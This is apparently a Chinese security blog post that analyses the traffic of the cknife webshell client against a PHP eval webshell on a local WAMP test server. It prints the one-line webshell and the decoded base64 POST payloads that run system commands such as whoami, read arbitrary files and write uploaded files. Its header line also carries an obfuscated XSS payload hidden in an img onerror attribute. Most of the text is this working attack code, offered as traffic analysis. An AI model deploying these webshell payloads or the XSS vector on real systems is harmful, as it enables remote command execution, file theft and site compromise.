本文首發:https://<img src=1 onerror=\u006coc\u0061tion='j\x61v\x61script:\x61lert\x281\x29'>testdemo
0x01 環境
<?php eval($_REQUEST['shell'] ?>
0x02 命令執行
執行命令結果如下圖所示
POST的數據如下圖所示
對POST的數據解碼
#shell
@eval(base64_decode($_POST[action]));
#action
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$p=base64_decode($_POST["z1"]);
$s=base64_decode($_POST["z2"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
$r="{$p} {$c}";
@system($r." 2>&1",$ret);
print ($ret!=0)?"ret={$ret}":"";;
echo("|<-");
die();
#z1
cmd
#z2
cd/d"C:\wamp64\www\"&whoami&echo [S]&cd&echo [E]
z2
是whoami
經過cknife
的組合再經過base64
編碼后的結果,cknife
通過eval
執行action
中的代碼,把POST的z1
和z2
用base64_decode
解碼,再把z1
和z2
組合成$r
,最后用system
執行$r
,打印執行結果。
返回結果如下圖所示
經過cknife
的格式處理,返回的結果變成了上圖的樣子,->|
和|<-
中間的內容就是執行命令的結果
0x03 文件下載
POST的數據如下圖所示
對POST的數據解碼
#shell
@eval(base64_decode($_POST[action]));
#action
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$F=get_magic_quotes_gpc()?base64_decode(stripslashes($_POST["z1"])):base64_decode($_POST["z1"]);
$fp=@fopen($F,"r");
if(@fgetc($fp)){
@fclose($fp);
@readfile($F);
}else
{
echo("ERROR:// Can Not Read");
};
echo("|<-");
die();
#z1
C:\wamp64\www\index.php
z1
是目標文件路徑經過base64
編碼后的結果,cknife
通過eval
執行action
中的代碼,用base64_decode
獲取文件的路徑,然后判斷文件是否能夠被讀取,如果能夠被讀取,則用readfile()
輸出文件的內容,最后將輸出的文件內容寫入到本地文件中。
返回結果如下圖所示
有一點需要注意,cknife
可能會將返回的所有內容輸出到文件中,所以需要手動取出->|
和|<-
之間的內容,否則文件可能格式錯誤
0x04 文件上傳
POST的數據如下圖所示
對POST的數據解碼
#shell
@eval(base64_decode($_POST[action]));
#action
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$f=base64_decode($_POST["z1"]);
$c=$_POST["z2"];
$c=str_replace("\r","",$c);
$c=str_replace("\n","",$c);
$buf="";
for($i=0;$i<strlen($c);$i+=2)
$buf.=urldecode("%".substr($c,$i,2));
echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;
echo("|<-");
die();
#z1
C:\wamp64\www\test.txt
#z2
this is a test
z1
是目標文件路徑經過base64
編碼后的結果,z2
是本地文件的內容經過hex
編碼后的結果,cknife
通過eval
執行action
中的代碼,用base64_decode
先獲取目標文件的路徑,然后獲取z2
的內容,使用for
循環將原來的hex
編碼轉換為URL
編碼,再用urldecode
進行解碼,追加給$buf
,for
循環結束后$buf
就是文件的內容,最后寫入目標文件中,寫入成功返回1
,寫入失敗返回0
返回結果如下圖所示
如果->|
和|<-
之間的內容為1
,則代表文件上傳成功